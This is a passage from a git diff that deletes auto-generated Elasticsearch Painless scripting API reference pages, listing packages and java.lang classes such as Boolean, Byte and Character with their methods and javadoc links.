-* <<painless-api-reference-shared-DoubleStream-Builder, DoubleStream.Builder>>
-* <<painless-api-reference-shared-IntStream, IntStream>>
-* <<painless-api-reference-shared-IntStream-Builder, IntStream.Builder>>
-* <<painless-api-reference-shared-LongStream, LongStream>>
-* <<painless-api-reference-shared-LongStream-Builder, LongStream.Builder>>
-* <<painless-api-reference-shared-Stream, Stream>>
-* <<painless-api-reference-shared-Stream-Builder, Stream.Builder>>
-
-==== org.apache.lucene.util
-<<painless-api-reference-shared-org-apache-lucene-util, Expand details for org.apache.lucene.util>>
-
-* <<painless-api-reference-shared-BytesRef, BytesRef>>
-
-==== org.elasticsearch.common.geo
-<<painless-api-reference-shared-org-elasticsearch-common-geo, Expand details for org.elasticsearch.common.geo>>
-
-* <<painless-api-reference-shared-GeoPoint, GeoPoint>>
-
-==== org.elasticsearch.index.fielddata
-<<painless-api-reference-shared-org-elasticsearch-index-fielddata, Expand details for org.elasticsearch.index.fielddata>>
-
-* <<painless-api-reference-shared-ScriptDocValues-Booleans, ScriptDocValues.Booleans>>
-* <<painless-api-reference-shared-ScriptDocValues-BytesRefs, ScriptDocValues.BytesRefs>>
-* <<painless-api-reference-shared-ScriptDocValues-Dates, ScriptDocValues.Dates>>
-* <<painless-api-reference-shared-ScriptDocValues-Doubles, ScriptDocValues.Doubles>>
-* <<painless-api-reference-shared-ScriptDocValues-GeoPoints, ScriptDocValues.GeoPoints>>
-* <<painless-api-reference-shared-ScriptDocValues-Longs, ScriptDocValues.Longs>>
-* <<painless-api-reference-shared-ScriptDocValues-Strings, ScriptDocValues.Strings>>
-
-==== org.elasticsearch.index.mapper
-<<painless-api-reference-shared-org-elasticsearch-index-mapper, Expand details for org.elasticsearch.index.mapper>>
-
-* <<painless-api-reference-shared-IpFieldMapper-IpFieldType-IpScriptDocValues, IpFieldMapper.IpFieldType.IpScriptDocValues>>
-
-==== org.elasticsearch.index.query
-<<painless-api-reference-shared-org-elasticsearch-index-query, Expand details for org.elasticsearch.index.query>>
-
-* <<painless-api-reference-shared-IntervalFilterScript-Interval, IntervalFilterScript.Interval>>
-
-==== org.elasticsearch.index.similarity
-<<painless-api-reference-shared-org-elasticsearch-index-similarity, Expand details for org.elasticsearch.index.similarity>>
-
-* <<painless-api-reference-shared-ScriptedSimilarity-Doc, ScriptedSimilarity.Doc>>
-* <<painless-api-reference-shared-ScriptedSimilarity-Field, ScriptedSimilarity.Field>>
-* <<painless-api-reference-shared-ScriptedSimilarity-Query, ScriptedSimilarity.Query>>
-* <<painless-api-reference-shared-ScriptedSimilarity-Term, ScriptedSimilarity.Term>>
-
-==== org.elasticsearch.painless.api
-<<painless-api-reference-shared-org-elasticsearch-painless-api, Expand details for org.elasticsearch.painless.api>>
-
-* <<painless-api-reference-shared-Debug, Debug>>
-
-==== org.elasticsearch.script
-<<painless-api-reference-shared-org-elasticsearch-script, Expand details for org.elasticsearch.script>>
-
-* <<painless-api-reference-shared-JodaCompatibleZonedDateTime, JodaCompatibleZonedDateTime>>
-
-==== org.elasticsearch.search.lookup
-<<painless-api-reference-shared-org-elasticsearch-search-lookup, Expand details for org.elasticsearch.search.lookup>>
-
-* <<painless-api-reference-shared-FieldLookup, FieldLookup>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-shared/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-shared/packages.asciidoc
deleted file mode 100644
index 584d7ade9ec..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-shared/packages.asciidoc
+++ /dev/null
@@ -1,8616 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-shared-java-lang"]
-=== Shared API for package java.lang
-See the <<painless-api-reference-shared, Shared API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-shared-Appendable]]
-==== Appendable
-* Appendable {java11-javadoc}/java.base/java/lang/Appendable.html#append(java.lang.CharSequence,int,int)[append](CharSequence, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ArithmeticException]]
-==== ArithmeticException
-* {java11-javadoc}/java.base/java/lang/ArithmeticException.html#<init>()[ArithmeticException]()
-* {java11-javadoc}/java.base/java/lang/ArithmeticException.html#<init>(java.lang.String)[ArithmeticException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ArrayIndexOutOfBoundsException]]
-==== ArrayIndexOutOfBoundsException
-* {java11-javadoc}/java.base/java/lang/ArrayIndexOutOfBoundsException.html#<init>()[ArrayIndexOutOfBoundsException]()
-* {java11-javadoc}/java.base/java/lang/ArrayIndexOutOfBoundsException.html#<init>(java.lang.String)[ArrayIndexOutOfBoundsException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ArrayStoreException]]
-==== ArrayStoreException
-* {java11-javadoc}/java.base/java/lang/ArrayStoreException.html#<init>()[ArrayStoreException]()
-* {java11-javadoc}/java.base/java/lang/ArrayStoreException.html#<init>(java.lang.String)[ArrayStoreException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Boolean]]
-==== Boolean
-* static Boolean {java11-javadoc}/java.base/java/lang/Boolean.html#FALSE[FALSE]
-* static Boolean {java11-javadoc}/java.base/java/lang/Boolean.html#TRUE[TRUE]
-* static int {java11-javadoc}/java.base/java/lang/Boolean.html#compare(boolean,boolean)[compare](boolean, boolean)
-* static int {java11-javadoc}/java.base/java/lang/Boolean.html#hashCode(boolean)[hashCode](boolean)
-* static boolean {java11-javadoc}/java.base/java/lang/Boolean.html#logicalAnd(boolean,boolean)[logicalAnd](boolean, boolean)
-* static boolean {java11-javadoc}/java.base/java/lang/Boolean.html#logicalOr(boolean,boolean)[logicalOr](boolean, boolean)
-* static boolean {java11-javadoc}/java.base/java/lang/Boolean.html#logicalXor(boolean,boolean)[logicalXor](boolean, boolean)
-* static boolean {java11-javadoc}/java.base/java/lang/Boolean.html#parseBoolean(java.lang.String)[parseBoolean](null)
-* static null {java11-javadoc}/java.base/java/lang/Boolean.html#toString(boolean)[toString](boolean)
-* static Boolean {java11-javadoc}/java.base/java/lang/Boolean.html#valueOf(boolean)[valueOf](boolean)
-* boolean {java11-javadoc}/java.base/java/lang/Boolean.html#booleanValue()[booleanValue]()
-* int {java11-javadoc}/java.base/java/lang/Boolean.html#compareTo(java.lang.Boolean)[compareTo](Boolean)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Byte]]
-==== Byte
-* static int {java11-javadoc}/java.base/java/lang/Byte.html#BYTES[BYTES]
-* static byte {java11-javadoc}/java.base/java/lang/Byte.html#MAX_VALUE[MAX_VALUE]
-* static byte {java11-javadoc}/java.base/java/lang/Byte.html#MIN_VALUE[MIN_VALUE]
-* static int {java11-javadoc}/java.base/java/lang/Byte.html#SIZE[SIZE]
-* static int {java11-javadoc}/java.base/java/lang/Byte.html#compare(byte,byte)[compare](byte, byte)
-* static Byte {java11-javadoc}/java.base/java/lang/Byte.html#decode(java.lang.String)[decode](null)
-* static int {java11-javadoc}/java.base/java/lang/Byte.html#hashCode(byte)[hashCode](byte)
-* static byte {java11-javadoc}/java.base/java/lang/Byte.html#parseByte(java.lang.String)[parseByte](null)
-* static byte {java11-javadoc}/java.base/java/lang/Byte.html#parseByte(java.lang.String,int)[parseByte](null, int)
-* static null {java11-javadoc}/java.base/java/lang/Byte.html#toString(byte)[toString](byte)
-* static int {java11-javadoc}/java.base/java/lang/Byte.html#toUnsignedInt(byte)[toUnsignedInt](byte)
-* static long {java11-javadoc}/java.base/java/lang/Byte.html#toUnsignedLong(byte)[toUnsignedLong](byte)
-* static Byte {java11-javadoc}/java.base/java/lang/Byte.html#valueOf(byte)[valueOf](byte)
-* static Byte {java11-javadoc}/java.base/java/lang/Byte.html#valueOf(java.lang.String,int)[valueOf](null, int)
-* byte {java11-javadoc}/java.base/java/lang/Number.html#byteValue()[byteValue]()
-* int {java11-javadoc}/java.base/java/lang/Byte.html#compareTo(java.lang.Byte)[compareTo](Byte)
-* double {java11-javadoc}/java.base/java/lang/Number.html#doubleValue()[doubleValue]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* float {java11-javadoc}/java.base/java/lang/Number.html#floatValue()[floatValue]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/Number.html#intValue()[intValue]()
-* long {java11-javadoc}/java.base/java/lang/Number.html#longValue()[longValue]()
-* short {java11-javadoc}/java.base/java/lang/Number.html#shortValue()[shortValue]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-CharSequence]]
-==== CharSequence
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* null replaceAll(Pattern, Function)
-* null replaceFirst(Pattern, Function)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* null {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Character]]
-==== Character
-* static int {java11-javadoc}/java.base/java/lang/Character.html#BYTES[BYTES]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#COMBINING_SPACING_MARK[COMBINING_SPACING_MARK]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#CONNECTOR_PUNCTUATION[CONNECTOR_PUNCTUATION]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#CONTROL[CONTROL]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#CURRENCY_SYMBOL[CURRENCY_SYMBOL]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#DASH_PUNCTUATION[DASH_PUNCTUATION]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#DECIMAL_DIGIT_NUMBER[DECIMAL_DIGIT_NUMBER]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#DIRECTIONALITY_ARABIC_NUMBER[DIRECTIONALITY_ARABIC_NUMBER]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#DIRECTIONALITY_BOUNDARY_NEUTRAL[DIRECTIONALITY_BOUNDARY_NEUTRAL]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#DIRECTIONALITY_COMMON_NUMBER_SEPARATOR[DIRECTIONALITY_COMMON_NUMBER_SEPARATOR]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#DIRECTIONALITY_EUROPEAN_NUMBER[DIRECTIONALITY_EUROPEAN_NUMBER]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#DIRECTIONALITY_EUROPEAN_NUMBER_SEPARATOR[DIRECTIONALITY_EUROPEAN_NUMBER_SEPARATOR]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#DIRECTIONALITY_EUROPEAN_NUMBER_TERMINATOR[DIRECTIONALITY_EUROPEAN_NUMBER_TERMINATOR]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#DIRECTIONALITY_LEFT_TO_RIGHT[DIRECTIONALITY_LEFT_TO_RIGHT]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#DIRECTIONALITY_LEFT_TO_RIGHT_EMBEDDING[DIRECTIONALITY_LEFT_TO_RIGHT_EMBEDDING]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#DIRECTIONALITY_LEFT_TO_RIGHT_OVERRIDE[DIRECTIONALITY_LEFT_TO_RIGHT_OVERRIDE]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#DIRECTIONALITY_NONSPACING_MARK[DIRECTIONALITY_NONSPACING_MARK]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#DIRECTIONALITY_OTHER_NEUTRALS[DIRECTIONALITY_OTHER_NEUTRALS]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#DIRECTIONALITY_PARAGRAPH_SEPARATOR[DIRECTIONALITY_PARAGRAPH_SEPARATOR]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#DIRECTIONALITY_POP_DIRECTIONAL_FORMAT[DIRECTIONALITY_POP_DIRECTIONAL_FORMAT]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#DIRECTIONALITY_RIGHT_TO_LEFT[DIRECTIONALITY_RIGHT_TO_LEFT]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#DIRECTIONALITY_RIGHT_TO_LEFT_ARABIC[DIRECTIONALITY_RIGHT_TO_LEFT_ARABIC]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#DIRECTIONALITY_RIGHT_TO_LEFT_EMBEDDING[DIRECTIONALITY_RIGHT_TO_LEFT_EMBEDDING]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#DIRECTIONALITY_RIGHT_TO_LEFT_OVERRIDE[DIRECTIONALITY_RIGHT_TO_LEFT_OVERRIDE]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#DIRECTIONALITY_SEGMENT_SEPARATOR[DIRECTIONALITY_SEGMENT_SEPARATOR]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#DIRECTIONALITY_UNDEFINED[DIRECTIONALITY_UNDEFINED]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#DIRECTIONALITY_WHITESPACE[DIRECTIONALITY_WHITESPACE]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#ENCLOSING_MARK[ENCLOSING_MARK]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#END_PUNCTUATION[END_PUNCTUATION]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#FINAL_QUOTE_PUNCTUATION[FINAL_QUOTE_PUNCTUATION]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#FORMAT[FORMAT]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#INITIAL_QUOTE_PUNCTUATION[INITIAL_QUOTE_PUNCTUATION]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#LETTER_NUMBER[LETTER_NUMBER]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#LINE_SEPARATOR[LINE_SEPARATOR]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#LOWERCASE_LETTER[LOWERCASE_LETTER]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#MATH_SYMBOL[MATH_SYMBOL]
-* static int {java11-javadoc}/java.base/java/lang/Character.html#MAX_CODE_POINT[MAX_CODE_POINT]
-* static char {java11-javadoc}/java.base/java/lang/Character.html#MAX_HIGH_SURROGATE[MAX_HIGH_SURROGATE]
-* static char {java11-javadoc}/java.base/java/lang/Character.html#MAX_LOW_SURROGATE[MAX_LOW_SURROGATE]
-* static int {java11-javadoc}/java.base/java/lang/Character.html#MAX_RADIX[MAX_RADIX]
-* static char {java11-javadoc}/java.base/java/lang/Character.html#MAX_SURROGATE[MAX_SURROGATE]
-* static char {java11-javadoc}/java.base/java/lang/Character.html#MAX_VALUE[MAX_VALUE]
-* static int {java11-javadoc}/java.base/java/lang/Character.html#MIN_CODE_POINT[MIN_CODE_POINT]
-* static char {java11-javadoc}/java.base/java/lang/Character.html#MIN_HIGH_SURROGATE[MIN_HIGH_SURROGATE]
-* static char {java11-javadoc}/java.base/java/lang/Character.html#MIN_LOW_SURROGATE[MIN_LOW_SURROGATE]
-* static int {java11-javadoc}/java.base/java/lang/Character.html#MIN_RADIX[MIN_RADIX]
-* static int {java11-javadoc}/java.base/java/lang/Character.html#MIN_SUPPLEMENTARY_CODE_POINT[MIN_SUPPLEMENTARY_CODE_POINT]
-* static char {java11-javadoc}/java.base/java/lang/Character.html#MIN_SURROGATE[MIN_SURROGATE]
-* static char {java11-javadoc}/java.base/java/lang/Character.html#MIN_VALUE[MIN_VALUE]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#MODIFIER_LETTER[MODIFIER_LETTER]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#MODIFIER_SYMBOL[MODIFIER_SYMBOL]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#NON_SPACING_MARK[NON_SPACING_MARK]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#OTHER_LETTER[OTHER_LETTER]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#OTHER_NUMBER[OTHER_NUMBER]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#OTHER_PUNCTUATION[OTHER_PUNCTUATION]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#OTHER_SYMBOL[OTHER_SYMBOL]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#PARAGRAPH_SEPARATOR[PARAGRAPH_SEPARATOR]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#PRIVATE_USE[PRIVATE_USE]
-* static int {java11-javadoc}/java.base/java/lang/Character.html#SIZE[SIZE]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#SPACE_SEPARATOR[SPACE_SEPARATOR]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#START_PUNCTUATION[START_PUNCTUATION]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#SURROGATE[SURROGATE]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#TITLECASE_LETTER[TITLECASE_LETTER]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#UNASSIGNED[UNASSIGNED]
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#UPPERCASE_LETTER[UPPERCASE_LETTER]
-* static int {java11-javadoc}/java.base/java/lang/Character.html#charCount(int)[charCount](int)
-* static int {java11-javadoc}/java.base/java/lang/Character.html#codePointAt(java.lang.CharSequence,int)[codePointAt](CharSequence, int)
-* static int {java11-javadoc}/java.base/java/lang/Character.html#codePointAt(char%5B%5D,int,int)[codePointAt](char[], int, int)
-* static int {java11-javadoc}/java.base/java/lang/Character.html#codePointBefore(java.lang.CharSequence,int)[codePointBefore](CharSequence, int)
-* static int {java11-javadoc}/java.base/java/lang/Character.html#codePointBefore(char%5B%5D,int,int)[codePointBefore](char[], int, int)
-* static int {java11-javadoc}/java.base/java/lang/Character.html#codePointCount(java.lang.CharSequence,int,int)[codePointCount](CharSequence, int, int)
-* static int {java11-javadoc}/java.base/java/lang/Character.html#compare(char,char)[compare](char, char)
-* static int {java11-javadoc}/java.base/java/lang/Character.html#digit(int,int)[digit](int, int)
-* static char {java11-javadoc}/java.base/java/lang/Character.html#forDigit(int,int)[forDigit](int, int)
-* static byte {java11-javadoc}/java.base/java/lang/Character.html#getDirectionality(int)[getDirectionality](int)
-* static null {java11-javadoc}/java.base/java/lang/Character.html#getName(int)[getName](int)
-* static int {java11-javadoc}/java.base/java/lang/Character.html#getNumericValue(int)[getNumericValue](int)
-* static int {java11-javadoc}/java.base/java/lang/Character.html#getType(int)[getType](int)
-* static int {java11-javadoc}/java.base/java/lang/Character.html#hashCode(char)[hashCode](char)
-* static char {java11-javadoc}/java.base/java/lang/Character.html#highSurrogate(int)[highSurrogate](int)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isAlphabetic(int)[isAlphabetic](int)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isBmpCodePoint(int)[isBmpCodePoint](int)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isDefined(int)[isDefined](int)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isDigit(int)[isDigit](int)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isHighSurrogate(char)[isHighSurrogate](char)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isISOControl(int)[isISOControl](int)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isIdentifierIgnorable(int)[isIdentifierIgnorable](int)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isIdeographic(int)[isIdeographic](int)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isJavaIdentifierPart(int)[isJavaIdentifierPart](int)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isJavaIdentifierStart(int)[isJavaIdentifierStart](int)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isLetter(int)[isLetter](int)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isLetterOrDigit(int)[isLetterOrDigit](int)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isLowerCase(int)[isLowerCase](int)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isMirrored(int)[isMirrored](int)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isSpaceChar(int)[isSpaceChar](int)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isSupplementaryCodePoint(int)[isSupplementaryCodePoint](int)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isSurrogate(char)[isSurrogate](char)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isSurrogatePair(char,char)[isSurrogatePair](char, char)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isTitleCase(int)[isTitleCase](int)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isUnicodeIdentifierPart(int)[isUnicodeIdentifierPart](int)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isUnicodeIdentifierStart(int)[isUnicodeIdentifierStart](int)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isUpperCase(int)[isUpperCase](int)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isValidCodePoint(int)[isValidCodePoint](int)
-* static boolean {java11-javadoc}/java.base/java/lang/Character.html#isWhitespace(int)[isWhitespace](int)
-* static char {java11-javadoc}/java.base/java/lang/Character.html#lowSurrogate(int)[lowSurrogate](int)
-* static int {java11-javadoc}/java.base/java/lang/Character.html#offsetByCodePoints(java.lang.CharSequence,int,int)[offsetByCodePoints](CharSequence, int, int)
-* static int {java11-javadoc}/java.base/java/lang/Character.html#offsetByCodePoints(char%5B%5D,int,int,int,int)[offsetByCodePoints](char[], int, int, int, int)
-* static char {java11-javadoc}/java.base/java/lang/Character.html#reverseBytes(char)[reverseBytes](char)
-* static char[] {java11-javadoc}/java.base/java/lang/Character.html#toChars(int)[toChars](int)
-* static int {java11-javadoc}/java.base/java/lang/Character.html#toChars(int,char%5B%5D,int)[toChars](int, char[], int)
-* static int {java11-javadoc}/java.base/java/lang/Character.html#toCodePoint(char,char)[toCodePoint](char, char)
-* static char {java11-javadoc}/java.base/java/lang/Character.html#toLowerCase(char)[toLowerCase](char)
-* static null {java11-javadoc}/java.base/java/lang/Character.html#toString(char)[toString](char)
-* static char {java11-javadoc}/java.base/java/lang/Character.html#toTitleCase(char)[toTitleCase](char)
-* static char {java11-javadoc}/java.base/java/lang/Character.html#toUpperCase(char)[toUpperCase](char)
-* static Character {java11-javadoc}/java.base/java/lang/Character.html#valueOf(char)[valueOf](char)
-* char {java11-javadoc}/java.base/java/lang/Character.html#charValue()[charValue]()
-* int {java11-javadoc}/java.base/java/lang/Character.html#compareTo(java.lang.Character)[compareTo](Character)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Character-Subset]]
-==== Character.Subset
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Character-UnicodeBlock]]
-==== Character.UnicodeBlock
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#AEGEAN_NUMBERS[AEGEAN_NUMBERS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#ALCHEMICAL_SYMBOLS[ALCHEMICAL_SYMBOLS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#ALPHABETIC_PRESENTATION_FORMS[ALPHABETIC_PRESENTATION_FORMS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#ANCIENT_GREEK_MUSICAL_NOTATION[ANCIENT_GREEK_MUSICAL_NOTATION]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#ANCIENT_GREEK_NUMBERS[ANCIENT_GREEK_NUMBERS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#ANCIENT_SYMBOLS[ANCIENT_SYMBOLS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#ARABIC[ARABIC]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#ARABIC_EXTENDED_A[ARABIC_EXTENDED_A]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#ARABIC_MATHEMATICAL_ALPHABETIC_SYMBOLS[ARABIC_MATHEMATICAL_ALPHABETIC_SYMBOLS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#ARABIC_PRESENTATION_FORMS_A[ARABIC_PRESENTATION_FORMS_A]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#ARABIC_PRESENTATION_FORMS_B[ARABIC_PRESENTATION_FORMS_B]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#ARABIC_SUPPLEMENT[ARABIC_SUPPLEMENT]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#ARMENIAN[ARMENIAN]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#ARROWS[ARROWS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#AVESTAN[AVESTAN]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#BALINESE[BALINESE]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#BAMUM[BAMUM]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#BAMUM_SUPPLEMENT[BAMUM_SUPPLEMENT]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#BASIC_LATIN[BASIC_LATIN]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#BATAK[BATAK]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#BENGALI[BENGALI]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#BLOCK_ELEMENTS[BLOCK_ELEMENTS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#BOPOMOFO[BOPOMOFO]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#BOPOMOFO_EXTENDED[BOPOMOFO_EXTENDED]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#BOX_DRAWING[BOX_DRAWING]
